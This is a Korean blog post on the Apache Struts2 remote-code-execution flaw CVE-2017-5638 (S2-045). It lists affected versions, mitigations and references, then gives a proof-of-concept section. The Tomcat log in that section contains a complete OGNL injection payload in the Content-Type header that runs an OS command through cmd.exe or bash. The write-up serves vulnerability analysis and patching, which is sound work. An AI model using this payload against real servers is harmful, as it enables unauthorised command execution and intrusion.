최초 작성일 : 2017/4/2
Apache Struts2 취약점 CVE-2017-5638 (S2-045)
1. 개요
- 파일 업로드 시도 중 Jakarta Multipart 파서의 잘못된 예외 처리 및 오류 메시지 생성 기능을 악용하여 원격 코드 실행
- 공격자가 Content-Type, Content-Disposition 또는 Content-Length HTTP 헤더를 통해 임의의 명령을 실행 가능
- 2017년 3월 #cmd = String이 포함 된 Content-Type 헤더로 악용되었음을 발견함
2. 영향 받는 버전
- Apache Struts 2.3.5 ~ 2.3.31
- Apache Struts 2.5 ~ 2.5.10
3. 릴리즈 일자
- 2017/01/29
4. 대응 방안
- Jakarta 기반 파일 업로드 Multipart 파서를 사용하는 경우 Apache Struts 버전 2.3.32 또는 2.5.10.1로 업그레이드
- Content-Type에 엄격한 필터링 적용 및 OGNL 표현식과 사용 금지
- commons-fileupload-x.x.x.jar 파일 삭제 (해당 파일 삭제 시 업로드 기능 사용 불가)
5. 참고자료
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638
https://cwiki.apache.org/confluence/display/WW/S2-045
http://www.boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=25264
6. POC (Proof Of Concept)
1) Victim 환경
- Windows 10 Pro
- Java 1.7.8_80
- Apache Tomcat 7.0.54
2) Attacker 환경
- CentOS 6 x64
3) 취약점 Scanning
4) 취약점 공격(exploit)
5) catalina.out log
1월 11, 2018 2:48:53 오후 org.apache.struts2.dispatcher.Dispatcher info 정보: Unable to find 'struts.multipart.saveDir' property setting. Defaulting to javax.servlet.context.tempdir 1월 11, 2018 2:48:53 오후 org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest warn 경고: Unable to parse request org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn't contain a multipart/form-data or multipart/mixed stream, content type header is %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('wylvrmq','wylvrmq')}.multipart/form-data at org.apache.commons.fileupload.FileUploadBase$FileItemIteratorImpl.<init>(FileUploadBase.java:947) at org.apache.commons.fileupload.FileUploadBase.getItemIterator(FileUploadBase.java:310) at org.apache.commons.fileupload.FileUploadBase.parseRequest(FileUploadBase.java:334) at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parseRequest(JakartaMultiPartRequest.java:188) at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processUpload(JakartaMultiPartRequest.java:127) at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parse(JakartaMultiPartRequest.java:92) at org.apache.struts2.dispatcher.multipart.MultiPartRequestWrapper.<init>(MultiPartRequestWrapper.java:84) at org.apache.struts2.dispatcher.Dispatcher.wrapRequest(Dispatcher.java:841) at org.apache.struts2.dispatcher.ng.PrepareOperations.wrapRequest(PrepareOperations.java:138) at org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter.java:91) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:241) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208) at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:220) at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:122) at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:501) at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:171) at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:102) at org.apache.catalina.valves.AccessLogValve.invoke(AccessLogValve.java:950) at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:116) at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:408) at org.apache.coyote.http11.AbstractHttp11Processor.process(AbstractHttp11Processor.java:1040) at org.apache.coyote.AbstractProtocol$AbstractConnectionHandler.process(AbstractProtocol.java:607) at org.apache.tomcat.util.net.JIoEndpoint$SocketProcessor.run(JIoEndpoint.java:314) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) at java.lang.Thread.run(Thread.java:745)
1월 11, 2018 2:48:54 오후 org.apache.struts2.rest.RestActionInvocation info 정보: Executed action [/!index!xhtml!200] took 21 ms (execution: 7 ms, result: 14 ms) |
1월 11, 2018 2:53:08 오후 org.apache.struts2.dispatcher.Dispatcher info 정보: Unable to find 'struts.multipart.saveDir' property setting. Defaulting to javax.servlet.context.tempdir 1월 11, 2018 2:53:08 오후 org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest warn 경고: Unable to parse request org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn't contain a multipart/form-data or multipart/mixed stream, content type header is %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ipconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} at org.apache.commons.fileupload.FileUploadBase$FileItemIteratorImpl.<init>(FileUploadBase.java:947) at org.apache.commons.fileupload.FileUploadBase.getItemIterator(FileUploadBase.java:310) at org.apache.commons.fileupload.FileUploadBase.parseRequest(FileUploadBase.java:334) at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parseRequest(JakartaMultiPartRequest.java:188) at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processUpload(JakartaMultiPartRequest.java:127) at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parse(JakartaMultiPartRequest.java:92) at org.apache.struts2.dispatcher.multipart.MultiPartRequestWrapper.<init>(MultiPartRequestWrapper.java:84) at org.apache.struts2.dispatcher.Dispatcher.wrapRequest(Dispatcher.java:841) at org.apache.struts2.dispatcher.ng.PrepareOperations.wrapRequest(PrepareOperations.java:138) at org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter.java:91) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:241) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208) at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:220) at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:122) at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:501) at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:171) at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:102) at org.apache.catalina.valves.AccessLogValve.invoke(AccessLogValve.java:950) at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:116) at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:408) at org.apache.coyote.http11.AbstractHttp11Processor.process(AbstractHttp11Processor.java:1040) at org.apache.coyote.AbstractProtocol$AbstractConnectionHandler.process(AbstractProtocol.java:607) at org.apache.tomcat.util.net.JIoEndpoint$SocketProcessor.run(JIoEndpoint.java:314) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) at java.lang.Thread.run(Thread.java:745)
1월 11, 2018 2:53:08 오후 org.apache.struts2.rest.RestActionInvocation error 심각: Exception processing the result. java.lang.IllegalStateException: getOutputStream() has already been called for this response at org.apache.catalina.connector.Response.getWriter(Response.java:636) at org.apache.catalina.connector.ResponseFacade.getWriter(ResponseFacade.java:213) at org.apache.struts2.dispatcher.ServletRedirectResult.sendRedirect(ServletRedirectResult.java:261) at org.apache.struts2.dispatcher.ServletRedirectResult.doExecute(ServletRedirectResult.java:229) at org.apache.struts2.dispatcher.StrutsResultSupport.execute(StrutsResultSupport.java:191) at org.apache.struts2.dispatcher.ServletRedirectResult.execute(ServletRedirectResult.java:164) at org.apache.struts2.dispatcher.ServletActionRedirectResult.execute(ServletActionRedirectResult.java:182) at org.apache.struts2.rest.RestActionInvocation.executeResult(RestActionInvocation.java:240) at org.apache.struts2.rest.RestActionInvocation.processResult(RestActionInvocation.java:197) at org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:145) at com.opensymphony.xwork2.DefaultActionProxy.execute(DefaultActionProxy.java:147) at org.apache.struts2.dispatcher.Dispatcher.serviceAction(Dispatcher.java:567) at org.apache.struts2.dispatcher.ng.ExecuteOperations.executeAction(ExecuteOperations.java:81) at org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter.java:99) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:241) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208) at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:220) at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:122) at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:501) at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:171) at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:102) at org.apache.catalina.valves.AccessLogValve.invoke(AccessLogValve.java:950) at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:116) at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:408) at org.apache.coyote.http11.AbstractHttp11Processor.process(AbstractHttp11Processor.java:1040) at org.apache.coyote.AbstractProtocol$AbstractConnectionHandler.process(AbstractProtocol.java:607) at org.apache.tomcat.util.net.JIoEndpoint$SocketProcessor.run(JIoEndpoint.java:314) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) at java.lang.Thread.run(Thread.java:745)
1월 11, 2018 2:53:08 오후 org.apache.struts2.rest.RestActionInvocation info 정보: Executed action [/!index!xhtml!200] took 17 ms (execution: 6 ms, result: 11 ms) |
'Vulnerability' 카테고리의 다른 글
Oracle WebLogic Server Remote Security Vulnerability (CVE-2015-4852, CVE-2016-3510) (0) | 2018.03.19 |
---|---|
Oracle WebLogic WLS Security Component Remote Code Execution (CVE-2017-10271, CVE-2017-3506) (1) | 2018.02.01 |
[취약점 신고] K정보원 기능 수준의 접근통제 누락 (201505, 기관요청 비공개) (0) | 2017.05.09 |
[취약점 신고] N사 XSS 취약점 신고 #3 (0) | 2017.04.01 |
[취약점 신고] N사 XSS 취약점 신고 #2 (0) | 2017.04.01 |